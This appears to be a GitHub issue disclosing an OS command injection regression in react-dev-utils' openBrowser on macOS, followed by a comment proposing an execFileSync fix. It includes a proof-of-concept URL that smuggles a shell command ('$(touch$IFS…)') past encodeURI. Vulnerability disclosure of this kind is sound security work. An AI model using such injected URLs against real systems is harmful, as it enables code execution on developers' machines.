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OS Command Injection in openBrowser.js #17269
Description
Summary
The react-dev-utils package (v12.0.1) is vulnerable to OS Command Injection on macOS. The openBrowser API fails to properly sanitize URLs before passing them to a shell command via execSync, allowing an attacker to execute arbitrary commands if they can control the URL passed to the function.
Details
The vulnerability exists in openBrowser.js within the startBrowserProcess function. When running on macOS and targeting Google Chrome or a Chromium-based browser, the library uses child_process.execSync to execute an AppleScript:
// Located in react-dev-utils/openBrowser.js
execSync(
'osascript openChrome.applescript "' +
encodeURI(url) +
'" "' +
chromiumBrowser +
'"',
{
cwd: __dirname,
stdio: 'ignore',
}
);Root Cause:
The code uses encodeURI(url) as a security filter. However, encodeURI does not escape characters that are significant in a shell environment, specifically
Although the library was previously patched in v11.0.5 by moving to execFileSync, the dangerous execSync logic has reappeared in version 12.0.1.
PoC
Environment: macOS with Google Chrome currently running.
- Install the affected version: npm install react-dev-utils@12.0.1
- Create reproduce.js:
const openBrowser = require('react-dev-utils/openBrowser');
const fs = require('fs');
// Use $IFS to bypass space encoding and avoid characters filtered by encodeURI
const marker = '/tmp/RCE_VERIFIED';
if (fs.existsSync(marker)) fs.unlinkSync(marker);
const payloadUrl = 'http://localhost/$(touch$IFS' + marker + ')';
openBrowser(payloadUrl);
setTimeout(() => {
if (fs.existsSync(marker)) {
console.log('[+] SUCCESS: Command executed. File found at ' + marker);
console.log('Contents: ' + fs.readFileSync(marker, 'utf8'));
} else {
console.log('[-] Failed to trigger. Ensure Chrome is running and you are on macOS.');
}
}, 2000);- Run: node reproduce.js
Impact
This is a High/Critical severity vulnerability impacting millions of developers using create-react-app.
An attacker who can influence the URL opened by the dev server (via .env files, malicious middleware, or shared dev environments) can gain full Remote Code Execution (RCE) on the developer's workstation.
Activity
Salunkhe1521 commentedon Jul 27, 2026
Thanks for the detailed write-up and PoC, @Dremig.
Great catch on spotting this regression. Since this was previously addressed in v11.0.5 by moving away from shell execution, the safest approach here is to completely avoid spawning a shell via execSync and instead use execFileSync with an argument array.
To fix this permanently, we can refactor the call like this:
JavaScript
const { execFileSync } = require('child_process'); // ... inside startBrowserProcess execFileSync('osascript', ['openChrome.applescript', url, chromiumBrowser], { cwd: __dirname, stdio: 'ignore', });Passing arguments as an array to execFileSync bypasses shell interpretation entirely, preventing command injection without needing brittle string filters. Hope this helps get a patch rolling quickly!